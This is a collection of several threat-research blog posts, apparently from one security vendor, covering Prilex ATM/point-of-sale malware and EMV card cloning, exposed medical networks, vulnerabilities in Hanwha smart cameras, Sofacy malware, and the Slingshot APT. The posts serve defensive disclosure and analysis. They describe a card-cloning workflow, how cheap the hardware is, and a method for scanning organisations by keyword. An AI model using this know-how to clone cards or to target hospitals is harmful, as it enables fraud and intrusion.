The malware was developed to target not only the ATMs with the jackpotting functionality but also the bank’s customers due to a function which enables the malware to steal the magnetic stripe information once the client use the infected ATM: cloning and jackpotting on the same package.

Targeting point of sales systems and expanding functionality

While hunting new samples related to the ATM attack, we found a new sample matching the previously dissected communication protocol. In fact, the protocol (and code) used by this new sample had been updated a bit in order to support extended functionality.

Code similarity of the ATM and Point of Sale samples from the Prilex family.

The main module contains different functions that allow the attacker to perform a set of debugging operations on the victim’s machine as well as performing the attack itself.

  • Remote administration using “Ammyy Admin”.
  • Upload/download files from/to infected computer.
  • Capture memory regions from a process.
  • Execute shell commands.
  • Update main module.
  • Patch libraries in order to allow capturing card information.

Functions handled by the malware.

The main purpose of the malware is to patch the point of sales system libraries, allowing it to collect the data transmitted by the software. The code will look for the location of a particular set of libraries in order to apply the patch thus overwriting the original code.

Log strings referring the patch applied by the malware.

With the patch in place, the malware collects the data from TRACK2, such as the account number, expiration date, in addition to other cardholder information needed to perform fraudulent transactions. The PIN is never captured by the malware, since is not needed as we will see later.

Using DAPHNE and GPShell to manage your Smart Card

After the information is exfiltrated to the C2 server, it’s read to be sold in the blackmarket as a package. The criminals provide access to a tool called Daphne ,which is responsible for managing the credit card information acquired and ultimately writing it to the cloned cards.

The Daphne “client” has the option to choose which type of card it wants to write, debit or credit; then the information will be validated on the server only to be written to the card once all necessary tests are passed. The new card, which is connected to the smart card writer, will receive the new information via GPShell scripts in charge of setting up the card’s structure and creating the “golden card”.

Function to write the card data as credit or debit, or just copy the information to the clipboard.

After using the card, the criminal is able to keep track of how much money is possible to withdraw. While we are not sure how this information is being used, Prilex’s business model encourages users to register which cards are valid and the amount that they have paid off. This could enable reselling the cards in other venues and charging differential prices depending on their status.

After a card stops working (marked as “dead”), the criminal will fill the information about how much money was stolen from that card, if any.

Since Daphne is designed as a client/server application, several individuals can query the same information at once, and all modifications on the cards are synchronized with a central database. This behavior enables crews to work on the same set of information, allowing the connected user to create a new card directly from the interface and allowing the tool to decide the best template to use and how to preset the card.

Do not panic, but your credit card might be running Java

The EMV standard and supporting technology is in fact a robust framework that can provide much more security than the traditional magnetic stripe. Unfortunately, due to a bad implementation of such technology, it’s possible for criminals to abuse it and clone an EMV supported card with information stolen from the victim.

However, this technique is not entirely new and also not specific to Brazil. We have seen the same TTPs in other malware families, being sold on underground forums and targeting banks in Europe and other countries in Latin America such as Mexico and Argentina

In addition, the tool has an option to communicate with Smart Card devices by using GPshell in order to create a fake card with the stolen information.

Commands sent to GPshell in order to check for a Smart Card.

The commands above are responsible for checking if the Smart Card can be accessed, and if so it will enable the option to write the information to the fake card. Some commands used here are not generic and not usually found on a normal transaction.

Since they cannot manipulate all the information of the ‘chip and PIN’ technical standard, they need to modify the application responsible for validating the transaction. In order to do that, they install a modified CAP file (JavaCard applet) to the Smart Card, then when the PoS tries to validate the PIN, it will always accept as well as bypass all other validation processes. Due to the fact that most of the payment operators do not perform all validations as required by the EMV standard, the criminals are able to exploit this vulnerability within the process in advantage of their operation.

Commands used to install the malicious CAP file to the Smart Card.

Furthermore, GPshell sends commands to replace the PSE (Payment System Environment) by deleting the original one and installing a malicious counterpart. After that, the Smart Card just needs the stolen information to be written and it will be ready to use on PoS devices.

Commands sent to the card to write all data.

In this step, the script executed by GPShell contains all the necessary information in order for the point of sales terminal to perform the payment operation. The given script contains data extracted from original cards that are necessary to perform the authorization with the card operator.

One of the most relevant data written by this script is the Application Interchange Profile, changed in order to enable Static Data Authentication (SDA) and Signed Static Application Data (SSAD). This section contains the data signed by the card issuer that should be validated to guarantee that the information from the card was not counterfeited. However, the issuer has to decide which data should be protected by the signed information and based on our research, we found that most of the cards only have the Application Interchange Profile data signed, making the SSAD data valid even with a modified TRACK2 and a different cardholder’s name.

Getting the hardware and the blank cards is not as difficult as it sounds

Buying the equipment is quite cheap and surprisingly easy. To perform the attack, criminals just need to have a Smart Card Reader/Writer and some empty smart cards. Everything can be easily found online and since those tools can also be used in a legitimate way, there is no problem buying it.

JCop cards costing around $15 USD.

A basic reader/writer can be bought for less than $15 USD.

As we can see, the necessary equipment can be acquired by less than $30 USD, making it really affordable and easy for everyone to buy (not that anyone should!).

Smart Cards, the EMV standard, and the Brazilian carding scene

Industry reports, such as The Nilson Report, states that credit card fraud in 2016 has represented losses of $22.80 billion USD worldwide. And by 2020, card fraud worldwide is expected to total $31.67 billion USD.

Since that day in 1994, where Europay, MasterCard, and Visa developed this technology with the goal of ending fraud once and for all, several speed bumps have been found along the way, making theft and counterfeiting of payment card data more difficult for criminals in each iteration. It’s interesting to see how the liability of a fraud incident has been theoretically moved over the years from the customer, to the merchants, then to the bank; when in reality is the customer the one that always deals with the worst part of the story.

To be continued…

The crew behind the development of Prilex has demonstrated to be a highly versatile group, active since at least 2014 and still operating, targeting primarily Brazilian users and institutions. The motivation behind each of their campaigns has been repeatedly proven as solely monetary, given their preference for targets in the financial or retail industry.

Luckily, the banks and operators in Brazil have been investing a lot in technologies to improve their systems and avoid fraudulent transactions, allowing them to identify those techniques and preparing them for what’s to come. However, some countries in Latin America are not as evolved when it comes to credit card technologies and still rely on plain old magnetic stripe cards. Other countries are just starting to actively implement chip-and-pin authentication measures and have become a desirable target for criminals due to the overall lack of expertise regarding this technology.

The evolution of their code, while not technically notable, has been apparently sufficient in maintaining a constant revenue stream by slowly perfecting their business model and customer applications. The discovery of “Daphne”, a module to make use of the ill-gotten financial information and their affiliate scheme, suggests that this is a “customer oriented” group, with many levels in their chain of development; resembling what we have seen for example in the popular ATM malware Ploutus and other jackpotting operations.

This modularization, in their source code as well as their business model, constitutes Prilex as a serious threat to the financial industry, currently confined to the territory of Brazil with the uncertainty of how long it will take before it expands its operations to other regions.


7ab092ea240430f45264b5dcbd350156 Trojan.Win32.Prilex.b
34fb450417471eba939057e903b25523 Trojan.Win32.Prilex.c
26dcd3aa4918d4b7438e8c0ebd9e1cfd Trojan.Win32.Prilex.h
f5ff2992bdb1979642599ee54cfbc3d3 Trojan.Win32.Prilex.f
7ae9043778fee965af4f8b66721bdfab Trojan.Win32.Prilex.m

Our complete IOCs list, as well as YARA rules and full reports are available for Financial Intelligence Reports service customers. If you need more information about the service, please contact us at: [email protected]

Time of death? A therapeutic postmortem of connected medicine

At last year’s Security Analyst Summit 2017 we predicted that medical networks would be a titbit for cybercriminals. Unfortunately, we were right. The numbers of medical data breaches and leaks are increasing. According to public data, this year is no exception.

For a year we have been observing how cybercriminals encrypt medical data and demand a ransom for it. How they penetrate medical networks and exfiltrate medical information, and how they find medical data on publicly available medical resources.

The number of medical data breaches and leaks per year (source: HIPAA Journal)

Opened doors in medical networks

To find a potential entry point into medical infrastructure, we extract the IP ranges of all organizations that have the keywords “medic”, “clinic”, “hospit”, “surgery” and “healthcare” in the organization’s name, then we start the masscan (port scanner) and parse the specialized search engines (like Shodan and Censys) for publicly available resources of these organizations.

Masscan report extract

Of course, medical perimeters contain a lot of trivial opened ports and services: like web-server, DNS-server, mail-server etc. And you know that’s just the tip of the iceberg. The most interesting part is the non-trivial ports. We left out trivial services, because as we mentioned in our previous article those services are out of date and need to be patched. For example, the web applications of electronic medical records that we found on the perimeters in most cases were out of date.

The most popular ports are the tip of the iceberg. The most interesting part is the non-trivial ports.

The most popular opened ports on medical perimeters (18,723 live hosts; 27,716 opened ports)

Using ZTag tool and Censys, we identify what kinds of services are hidden behind these ports. If you try to look deeper in the embedded tag you will see different stuff: for example printers, SCADA-type systems, NAS etc.

Top services on medical network perimeters

Excluding these trivial things, we found Building Management systems that out of date. Devices using the Niagara Fox protocol usually operate on TCP ports 1911 and 4911. They allow us to gather information remotely from them, such as application name, Java version, host OS, time zone, local IP address, and software versions involved in the stack.

Example of extracted information about Niagara Fox service

Or printers that have a web interface without an authentication request. The dashboard available online and allows you to get information about internal Wi-Fi networks or, probably, it allows you to get info about documents that appeared in “Job Storage” logs.

Shodan told us that some medical organizations have an opened port 2000. It’s a smart kettle. We don’t know why, but this model of kettle is very popular in medical organizations. And they have publicly available information about a vulnerability that allows a connection to the kettle to be established using a simple pass and to extract info about the current Wi-Fi connection.

Medical infrastructure has a lot of medical devices, some of them portable. And devices like spirometers or blood pressure monitors support the MQTT protocol to communicate with other devices directly. One of the main components of the MQTT communication – brokers (see here for detailed information about components) are available through the Internet and, as a result, we can find some medical devices online.

Not only Smart Home components, but also medical devices are available via MQTT Spirometer

Threats that affect medical networks

OK, now we know how they get in. But what’s next? Do they search for personal data, or want to get some money with a ransom or maybe something else? Money? It’s possible… anything is possible. Let’s take a look at some numbers that we collected during 2017.

The statistics are a bit worrying. More than 60% of medical organizations had some kind of malware on their servers or computers. The good news is that if we count something here, it means we’ve deleted malware in the system.

Attacks detected in medical organizations, 2017

And there’s something even more interesting – organizations closely connected to hospitals, clinics and doctors, i.e. the pharmaceutical industry. Here we see even more attacks. The pharmaceutical industry means “money”, so it’s another titbit for attackers.

Attacks detected in pharmaceutical organizations, 2017

Let’s return to our patients. Where are all these attacked hospitals and clinics? Ok, here we the numbers are relative: we divided the number of devices in medical organizations in the country with our AV by the number of devices where we detected malicious code. The TOP 3 were the Philippines, Venezuela and Thailand. Japan, Saudi Arabia and Mexico took the last three spots in the TOP 15.

So the chances of being attacked really depend on how much money the government spends on cybersecurity in the public sector and the level of cybersecurity awareness.

Attacked devices in medical organizations, TOP 15 countries

In the pharmaceutical industry we have a completely different picture. First place belongs to Bangladesh. I googled this topic and now the stats look absolutely ok to me. Bangladesh exports meds to Europe. In Morocco big pharma accounts for 14% of GDP. India, too, is in the list, and even some European countries are featured.

Attacked devices in pharmaceutical organizations, TOP 15 countries

On one in ten devices and in more than 25% of medical and 10% of pharmaceutical companies we detected hacktools: pentesting tools like Mimikatz, Meterpreter, tweaked remote administration kits, and so on.

Which means that either medical organizations are very mature in terms of cybersecurity and perform constant audits of their own infrastructure using red teams and professional pentesters, or, more likely, their networks are infested with hackers.

Hacktools: Powerpreter, Meterpreter, Remote admin, etc.


Our research showed that APT actors are interested in information from pharmaceutical organizations. We were able to identify victims in South East Asia, or more precisely, in Vietnam and Bangladesh. The criminals had targeted servers and used the infamous PlugX malware or Cobalt Strike to exfiltrate data.

PlugX RAT, used by Chinese-speaking APT actors, allows criminals to perform various malicious operations on a system without the user’s knowledge or authorization, including but not limited to copying and modifying files, logging keystrokes, stealing passwords and capturing screenshots of user activity. PlugX, as well as Cobalt Strike, is used by cybercriminals to discreetly steal and collect sensitive or profitable information. During our research we were unable to track the initial attack vectors, but there are signs that they could be attacks exploiting vulnerable software on servers.

Taking into account the fact that hackers placed their implants on the servers of pharmaceutical companies, we can assume they are after intellectual property or business plans.

How to live with it

  • Remove all nodes that process medical data from public
  • Periodically update your installed software and remove unwanted applications
  • Refrain from connecting expensive equipment to the main LAN of your organization

More tips at “Connected Medicine and Its Diagnosis“.

Somebody’s watching! When cameras are more than just ‘smart’

Every year the number of smart devices grows. Coffee machines, bracelets, fridges, cars and loads of other useful gadgets have now gone smart. We are now seeing the emergence of smart streets, roads and even cities.

Devices such as smart cameras have long been part of everyday life for many, as communication devices, components in security and video surveillance systems, to keep an eye on pets, etc.

The latest smart cameras can connect to the cloud. This is done so that a user can watch what’s happening at a remote location using a variety of devices.

The researchers at Kaspersky Lab ICS CERT decided to check the popular smart camera to see how well protected it is against cyber abuses. This model has a rich feature list, compares favorably to regular webcams and can be used as a baby monitor, a component in a home security system or as part of a monitoring system.

An initial analysis using publicly available sources showed that there are almost 2,000 of these cameras on the Internet with public IP addresses.

Hanwha SNH-V6410PN/PNW SmartCam: specifications

This device is capable of capturing video with resolutions of 1920×1080, 1280×720 or 640×360, it has night vision capability and a motion sensor, and supports two-way communication, i.e. apart from capturing video and sound it can also produce sound using an in-built speaker. The camera works via a cloud-based service; in other words, it doesn’t connect directly to a device such as a computer. It is configured by creating a wireless hotspot on the camera and connecting it to the main router via Wi-Fi. Users can control the camera from their smartphones, tablets or computers. It should be noted that the camera’s data can only be uploaded to the cloud; there is no other way of communicating between the user and the camera.

The camera is based on the Ambarella S2L system (ARM architecture). Amboot is used as its initial loader. After a standard boot, Amboot loads the Linux core with a specific command as a parameter:

console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs init=/linuxrc model=SNH-V6410PN ethaddr=************ sn=ZC7D6V2H*********

After that, systemd launches. The system then boots as normal. Different partitions are mounted, and commands from rc.local are executed. When executing rc.local, the file mainServer is launched in daemon mode, which is the core of the camera’s operation logic. mainServer executes the commands that are sent to it via UNIX socket /tmp/ipc_path via binary protocol. Scripts written in PHP as well as CGI are used to process user files. While launching, mainServer opens UNIX socket /ipc_path. Analysis of the PHP scripts has shown that the main function responsible for communication with mainServer is in the file /work/www/htdocs_weboff/utils/ipc_manager.php.

Interaction with the cameras is via the cloud only

Communication with the user

When a command arrives from the user (e.g., to rotate the camera, select a tracking area, switch to night vision mode, etc.), it is analyzed. Each command or parameter has its own flag assigned to it, which is a constant. The main flags are documented in the file /work/www/htdocs_weboff/utils/constant.php. Later on, the packet header and payload is created, and a request is sent via UNIX socket /tmp/ipc_path to mainServer.

An analysis of the file ipc_manager.php shows that no authentication is used at this stage. The request is sent on behalf of the user ‘admin’.

function makeHeader($cmd, $act, $type, $len){
$header = array();
$header = array_fill(0, 77, 0x00);
int2byte($header, $cmd, HEADER_OFF_COMMAND); //Command
$header[HEADER_OFF_ACTION] = $act; //Action
$header[HEADER_OFF_MSG_TYPE] = $type; //Type
$header[HEADER_OFF_ERROR_CODE] = 0xFF; //Error Code
int2byte($header, $len, HEADER_OFF_MSG_LENGTH); //Length
str2byte($header, ““, HEADER_OFF_PEER_IP, 40); //Peer IP[40]
int2byte($header, 80, HEADER_OFF_PEER_PORT); //Peer Port
str2byte($header, “admin“, HEADER_OFF_PEER_ACCOUNT, 16); //Peer Account[16] – Current user name
$header = array_merge($header, array_fill(0, 8, 0xFF)); //Reserved[8]
return $header;

Example of a request sent on behalf of admin

This method of communicating commands is used when camera communication is done both via HTTP API and via SmartCam applications. In the latter case, the packet is generated in the application itself and sent to the camera in a message body using the XMPP protocol. When accessing this file from the outside via HTTP API and SmartCam application, it can be accessed only through web server digest authentication.

Loopholes for intruders

The following vulnerabilities were identified during the research:

  • Use of insecure HTTP protocol during firmware update
  • Use of insecure HTTP protocol during camera interaction via HTTP API
  • An undocumented (hidden) capability for switching the web interface using the file ‘dnpqtjqltm’
  • Buffer overflow in file ‘dnpqtjqltm’ for switching the web interface
  • A feature for the remote execution of commands with root privileges
  • A capability to remotely change the administrator password
  • Denial of service for SmartCam
  • No protection from brute force attacks for the camera’s admin account password
  • A weak password policy when registering the camera on the server xmpp.samsungsmartcam.com. Attacks against users of SmartCam applications are possible
  • Communication with other cameras is possible via the cloud server
  • Blocking of new camera registration on the cloud server
  • Authentication bypass on SmartCam. Change of administrator password and remote execution of commands.
  • Restoration of camera password for the SmartCam cloud account

After some additional research we established that these problems exist not only in the camera being researched but all manufacturer’s smart cameras manufactured by Hanwha Techwin. The latter also makes firmware for Samsung cameras.

Below we give a more detailed account of some of our findings.

Undocumented functionality

As mentioned above, we detected, among others, an undocumented capability that allows manipulations with the camera’s web interface.

Code with undocumented functionality capability in Hanwha SmartCam

Interestingly, in addition a buffer overflow-type vulnerability was detected inside of it. We reported the issue with undocumented feature to the manufacturer, and it has already fixed it.

Vulnerability in the cloud server architecture

Another example of a dangerous vulnerability in this smart camera can be found in the cloud server architecture. Because of a fault in the architecture, an intruder could gain access via the cloud to all cameras and control them.

One of the main problems associated with the cloud architecture is that it is based on the XMPP protocol. Essentially, the entire Hanwha smart camera cloud is a Jabber server. It has so-called rooms, with cameras of one type in each room. An attacker could register an arbitrary account on the Jabber server and gain access to all rooms on that server.

Message sent over XMPP using a test account created for research purposes

Decoded body of the above message

In the process of communicating with the cloud, the camera sends the user’s credentials and a certain set of constants. After analyzing the data sent, a remote attacker is able to register existing cameras in the cloud that have not been registered there yet. As a result of this, the cameras could subsequently not able to register in the cloud and, as a consequence, are not able to operate. In addition, an attacker can communicate with the cloud on behalf of an arbitrary camera or control arbitrary cameras via the cloud.

Attack scenarios

An interesting attack vector is the spoofing of DNS server addresses specified in the camera’s settings. This is possible because the update server is specified as a URL address in the camera’s configuration file. This type of attack can be implemented even if a camera doesn’t have a global IP address and is located within a NAT subnet. This sort of attack can be implemented by taking advantage of the peculiarities and vulnerabilities that exist in the Hanwha SmartСam cloud architecture. An attack like this could result in the distribution of modified firmware to cameras with the undocumented functionality loophole preinstalled, which will give privileged rights on those cameras.

If an intruder gains privileged rights (root) on a camera, they gain access to the full Linux functionality. This means the camera can be used as a foothold from which to attack devices located on local (within a NAT subnet) or global networks.

In one attack scenario, an arbitrary camera can be cloned and its image signal spoofed for the end user without much difficulty. To do so, an intruder will have to use cloud interactions to find out the target camera’s model, serial number and MAC address. The attacker then resets the password using a vulnerability in the password generation algorithm and modifies the firmware of the cloned camera (which is an identical camera located on the attacker’s side). The victim’s camera is then remotely disabled. As a result, the victim will receive a video signal from the attacker’s cloned camera.

Other possible scenarios involve attacks on camera users. The camera’s capabilities imply that the user will specify their credentials to different social media and online services, such as Twitter, Gmail, YouTube, etc. This is required for notifications about various events captured by the camera to be sent to the user. An attacker would then be able to exploit this capability to send phishing and spam messages.


What can a potential attacker do with the camera? Our research has demonstrated that they have a number of options.

For one, the attacker can remotely change the administrator’s password, execute arbitrary code on the camera, gain access to an entire cloud of cameras and take control of it, or build a botnet of vulnerable cameras. An attacker can gain access to an arbitrary SmartCam as well as to any Hanwha smart cameras.

What are the implications for a regular user? A remote attacker can gain access to any camera and watch what’s happening, send voice messages to the camera’s on-board speaker, use the camera’s resources for cryptocurrency mining, etc. A remote attacker can also put a camera out of service so it can no longer be restored. We were able to prove this hypothesis three times 🙂

We immediately reported the detected vulnerabilities to the manufacturer. Some vulnerabilities have already been fixed. The remaining vulnerabilities are set to be completely fixed soon, according to the manufacturer.

Fixed vulnerabilities were assigned the following CVEs:


Masha and these Bears

Sofacy, also known as APT28, Fancy Bear, and Tsar Team, is a prolific, well resourced, and persistent adversary. They are sometimes portrayed as wild and reckless, but as seen under our visibility, the group can be pragmatic, measured, and agile. Our previous post on their 2017 activity stepped away from the previously covered headline buzz presenting their association with previously known political hacks and interest in Europe and the US, and examines their under-reported ongoing activity in middle east, central asia, and now a shift in targeting further east, including China, along with an overlap surprise. There is much understated activity that can be clustered within this set and overlap in APT activity. Here, we examine current deployment, code, cryptography, and targeting.

Essentially, this examination finds the group maintains subdivisions of efforts in targeting, development, and coding. Comparisons to other modules quickly shows a delineation in other Sofacy efforts. SPLM, GAMEFISH, and Zebrocy delivery all maintain their own clusters, but frequently overlap later.

Because SPLM is their primary and selective second stage tool, SPLM deployment is of much interest. But Zebrocy efforts are in such high volume, that these modules need examination as well.


SPLM, otherwise known as CHOPSTICK, or by the author(s) as “XAgent”, is described as Sofacy’s signature second stage tool, selectively used for years against around the world. Really, many modified XAgent modules have been deployed over the years. Even the individual Linux modules renamed as “Fysbis” backdoors released in 2016 were merely modified and reduced portions of recompiled XAgent C/C++ codebase. Anyway, SPLM/CHOPSTICK has maintained various combinations of code, with some recognizable functionality listed here.

Source Modules Channels
Modules Keylogger HTTP
Channels RemoteShell FTP
Boot FileSystem SMTP
Library Launcher
MainHandler CameraShot

Version 3 and early version 4 SPLM modules maintained keylogger, remoteshell, and filestealer code all within the larger compiled backdoor, and executed each body of functionality from within that process memory space. Later v4 SPLM injected individual keylogger, filestealer, and remoteshell modules into memory space. But for the most part, deployed SPLM maintained the structure of earlier executable code. In 2018, we now see them pushing individual and separate blobs of keylogger, filesystem, and remoteshell code that never touch disk. The larger, 300kb+ SPLM backdoors deployed in 2016 and 2017 are not observed any longer at targets in 2018. Instead, in-memory modules appear in isolation.

In addition to purely XAgent based code, we also observe zebrocy modules completely recoded into powershell from .Net.

Code and Crypto Comparisons

Current SPLM code maintains the unusual cipher hack that Sofacy began deploying in 2017 to hide away configuration details. Comparisons with cipher design and implementations we see in WhiteBear, earlier SPLM and Zebrocy modules tell a few things about design decisions and culture. And when specific malware sets are selectively deployed, that may tell us something about how efforts are divided.

SPLM full backdoor and plugins crypto and strings v4
Summary: SPLM is being carved up and delivered as memory-only chunks of compiled code. We observe the “retranslator” code, or ProcessRetranslator.dll, currently being delivered to systems without the presence of the previous, large, SPLM code and injection capabilities. The smaller plugins deployed in 2018 now maintain the same dynamic encryption code as the large 330kb full SPLM backdoors seen in more widespread use in 2017. Strings are well organized and concise.

Code and strings example (decrypted from 2018 “ProcessRetranslator.dll” plugin):

success command not correct
error save parameters
error set parameters for channel, see full info
command processing error
not correct command
command loading func/net module error
command unloading func/net module error
Retranslator is now launched
Retranslator is now stopped
the process is destroyed
one thread has died so the process is killed too
create process failed on: (%s) , error (%d)
Retranslator is already running
Retranslator is not running
command is successful
command is unsuccessful

SPLM crypto v3 (DNC hack)
Summary: This earlier SPLM variant found on the DNC network in 2016 still maintains the internal name “splm.dll”, with only one export “init” that was called at runtime. The C++ structure of this 280kb+ dll is familiar SPLM/CHOPSTICK, but it maintains a completely different cipher for decrypting configuration data and error messages, etc. The loop performing the bulk of the work is less than 100 bytes, performing pointer arithmetic alongside a couple xor operations of a lower nibble against sequential bytes.

Here, the cipher uses a modolo pointer arithmetic along with a decryption key per blob. Reviewing all the older ciphers and newer EC based ciphers in openssl and elsewhere results in no match.

WhiteBear code and strings
Summary: WhiteBear is a cluster of activity targeting foreign embassies and MFA organizations, starting in early 2016 and continued into early 2017. Our private GReAT report on this activity pushed in February 2017, and a public report from another vendor described much of the same content almost seven months later as “Gayzer”. It appeared to be a parallel project to WhiteAtlas Turla, and maintained quirks like modular, well logged code with an elegant, professional RSA and 3DES encryption implementation and high quality code injection capabilities, but lots of immature and crude language and english mistakes. Clearly, english and maturity was not the developers’ native language.

While WhiteBear is Turla related, it is interesting to compare to other ongoing development styles. Strings and code are crass.

Debug and command strings

i cunt waiting anymore #%d
lights aint turnt off with #%d
Not find process

Zebrocy custom crypto
Summary: innovative .Net, AutoIT, Delphi, and powershell components are continually updated and deployed to new and old targets. Cryptography ranges from built-in windows api to custom RC4-based ciphers. Strings and code are simple, innovative, and concise.


Targeting Overlap and a Pivot to Asia

News headlines repeatedly trumpet Sofacy’s foray into Western targets in the US and Europe, especially those connected with NATO. But these efforts only tell a portion of the Sofacy story.

Delineating groups and activity can be messy, and there appears to be overlap in targeting efforts across varying groups in central and east asia throughout 2017 and into 2018. Sofacy has been heavily interested in military and foreign affairs organizations here, resulting in multiple overlapped and competing targeting scenarios:

  • Mosquito Turla and Zebrocy clusters – Zebrocy clusters targeting diplomatic and commercial organizations within Europe and Asia that match Mosquito targeting profiling
  • SPLM overlap with traditional Turla – often Turla precedes SPLM deployments
  • SPLM overlap with Zebrocy – Zebrocy often precedes SPLM deployments
  • SPLM overlap with Danti

Currently, Sofacy targets large air-defense related commercial organizations in China with SPLM, and moves Zebrocy focus across Armenia, Turkey, Kazahkstan, Tajikistan, Afghanistan, Mongolia, China, and Japan. A previous, removed, report from another vendor claimed non-specific information about the groups’ interest in Chinese universities, but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any “incidents” remain unconfirmed and unknown. On the other hand, this Chinese conglomerate designs and manufactures aerospace and air defense technologies, among many other enterprises. And here, an interest in military technologies is certainly within Sofacy purview.

So, even more interesting than the shift eastward and other targeting overlap, is that the specific target system in China was previously a Grey Lambert target. The Sofacy modules at this system appeared to never touch disk, and resemble the Linux Fysbis code. Only one maintained the Filesystem.dll code, while another maintained ProcessRetranslator.dll code. However, it is unusual that a full SPLM backdoor was not detected on this system, nor was any powershell loader script. Because the injection source remains unidentified on such a unique system, we might speculate on what is going on here:

  1. Sofacy attackers had recorded a previous Grey Lambert remote session and replayed the communication after discovering this host, essentially compromising the Grey Lambert module on the system to gain access and later injecting SPLM modules
  2. Grey Lambert attackers inserted false flag and reduced SPLM modules
  3. a new and unrecognized, full variant of SPLM attempted to inject module code into memory and deleted itself
  4. an unknown new powershell script or legitimate but vulnerable web app was exploited to load and execute this unusual SPLM code

In all likelihood, the last option is accurate.


Sofacy is such a large, active group that appears to maintain multiple sub-groups and efforts that all fit under the Sofacy “umbrella”. Sometimes, they share infrastructure, but more often they do not share infrastructure and appear to compete for access within targets. Either way, the group’s consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion.

SPLM did not change in substantial ways for several years, and now it is being split up and used for just functional modules. And much of the malware being deployed by Sofacy is quickly changed from C/C++ to .Net to powershell. Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well. It is easy to expect deliberate changes within this group in 2018, with even more .Net, Delphi,  and powershell ports of various tools appearing at Sofacy targets throughout the year.

Technical Appendix

Early 2018 Reference Set





The Slingshot APT FAQ

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity.

The initial loader replaces the victim´s legitimate Windows library ‘scesrv.dll’ with a malicious one of exactly the same size. Not only that, it interacts with several other modules including a ring-0 loader, kernel-mode network sniffer, own base-independent packer, and virtual filesystem, among others.

While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to Mikrotik routers and placed a component downloaded by Winbox Loader, a management suite for Mikrotik routers. In turn, this infected the administrator of the router.

We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

Why did you call the intruder Slingshot?

The name appears unencrypted in some of the malicious samples – it is the name of one of the threat actor’s components, so we decided to extend it to the APT as a whole.

When was Slingshot active?

The earliest sample we found was compiled in 2012 and the threat was still active in February 2018.

How did the threat attack and infect its victims?

Slingshot is very complex and the developers behind it have clearly spent a great deal of time and money on its creation. Its infection vector is remarkable – and, to the best of our knowledge, unique.

We believe that most of the victims we observed appeared to have been initially infected through a Windows exploit or compromised Mikrotik routers.

How exactly does infection happen?

The exact method used by Slingshot to exploit the routers in the first instance is not yet clear. When the target user runs Winbox Loader software (a utility used for Mikrotik router configuration), this connects to the router and downloads some DLLs (dynamic link libraries) from the router’s file system.

One of them – ipv4.dll – has been placed by the APT with what is, in fact, a downloader for other malicious components. Winbox Loader downloads this ipv4.dll library to the target’s computer, loads it in memory and runs it.

This DLL then connects to a hardcoded IP and port (in every cases we saw it was the router’s IP address), downloads the other malicious components and runs them.

To run its code in kernel mode in the most recent versions of operating systems, that have Driver Signature Enforcement, Slingshot loads signed vulnerable drivers and runs its own code through their vulnerabilities. .

Following infection, Slingshot would load a number of modules onto the victim device, including two huge and powerful ones: Cahnadr, the kernel mode module, and GollumApp, a user mode module. The two modules are connected and able to support each other in information gathering, persistence and data exfiltration.

The most sophisticated module is GollumApp. This contains nearly 1,500 user-code functions and provides most of the above described routines for persistence, file system control and C&C communications.

Canhadr, also known as NDriver, contains low-level routines for network, IO operations and so on. Its kernel-mode program is able to execute malicious code without crashing the whole file system or causing Blue Screen – a remarkable achievement. Written in pure C language, Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions, and carries out integrity control of various system components to avoid debugging and security detection.

Are Mikrotik the only affected routers?

Some victims may have been infected through other routes. During our research we also found a component called KPWS that turned out to be another downloader for Slingshot components.

Did you inform the affected vendor?

Although the available intelligence is limited and we are not sure what kind of exploit was used to infect routers, we provided Mikrotik with all information available.

What can users of Mikrotik routers do to protect themselves?

Users of Mikrotik routers should upgrade to the latest software version as soon as possible to ensure protection against known vulnerabilities. Further, Mikrotik Winbox no longer downloads anything from the router to the user’s computer.

What are the advantages of achieving kernel mode?

It gives intruders complete control over the victim computer. In kernel mode malware can do everything. There are no restrictions, no limitations, and no protection for the user (or none that the malware can’t easily bypass).

What kind of information does Slingshot appear to be looking for?

Slingshot’s main purpose seems to be cyber-espionage. Analysis suggests it collects screenshots, keyboard data, network data, passwords, USB connections, other desktop activity, clipboard and more, although its kernel access means it can steal whatever it wants.

But with full access to the kernel part of the system, it can steal whatever it wants – credit card numbers, password hashes, social security account numbers – any type of data.

How did Slingshot avoid detection?

The threat actor combined a number of known approaches to protect it very effectively from detection: including encrypting all strings in its modules, calling system services directly in order to bypass security-product hooks, using a number of Anti-bug techniques, and more.

Further, it can shut down its components, but ensure they complete their tasks before closing. This process is triggered when there are signs of an imminent in-system event, such as a system shutdown, and is probably implemented to allow user-mode components of the malware to complete their tasks properly to avoid detection during any forensic research.

You said that it disables disk defragmentation module in Windows OS. Why?

This APT uses its own encrypted file system and this can be located among others in an unused part of a hard drive. During defragmentation, the defrag tool relocates data on disk and this tool can write something to sectors where Slingshot keeps its file systems (because the operating system thinks these sectors are free). This will damage the encrypted file system. We suspect that Slingshot tries to disable defragmentation of these specific areas of the hard drive in order to prevent this from happening.

How does it exfiltrate data?

The malware exfiltrates data through standard networks channels, hiding the traffic being extracted by hooking legitimate call-backs, checking for Slingshot data packages and showing the user (and users’ programs like sniffers and so on) clear traffic without exfiltrated data.

Does it use exploits to zero-day vulnerabilities? Any other exploits?

We haven’t seen Slingshot exploit any zero-days, but that doesn’t mean that it doesn’t – that part of a story is still unclear for us. But it does exploit known vulnerabilities in drivers to pass executable code into kernel mode. These vulnerabilities include CVE-2007-5633; CVE-2010-1592, CVE-2009-0824.

What is the victim profile and target geography?

So far, researchers have seen around 100 victims of Slingshot and its related modules, located in Kenya, Yemen, Afghanistan, Libya, Congo, Jordan, Turkey, Iraq, Sudan, Somalia and Tanzania. Most of the victims appear to be targeted individuals rather than organizations, but there are some government organizations and institutions. Kenya and the Yemen account for most of the victims observed to date.

What do we know about the group behind Slingshot?

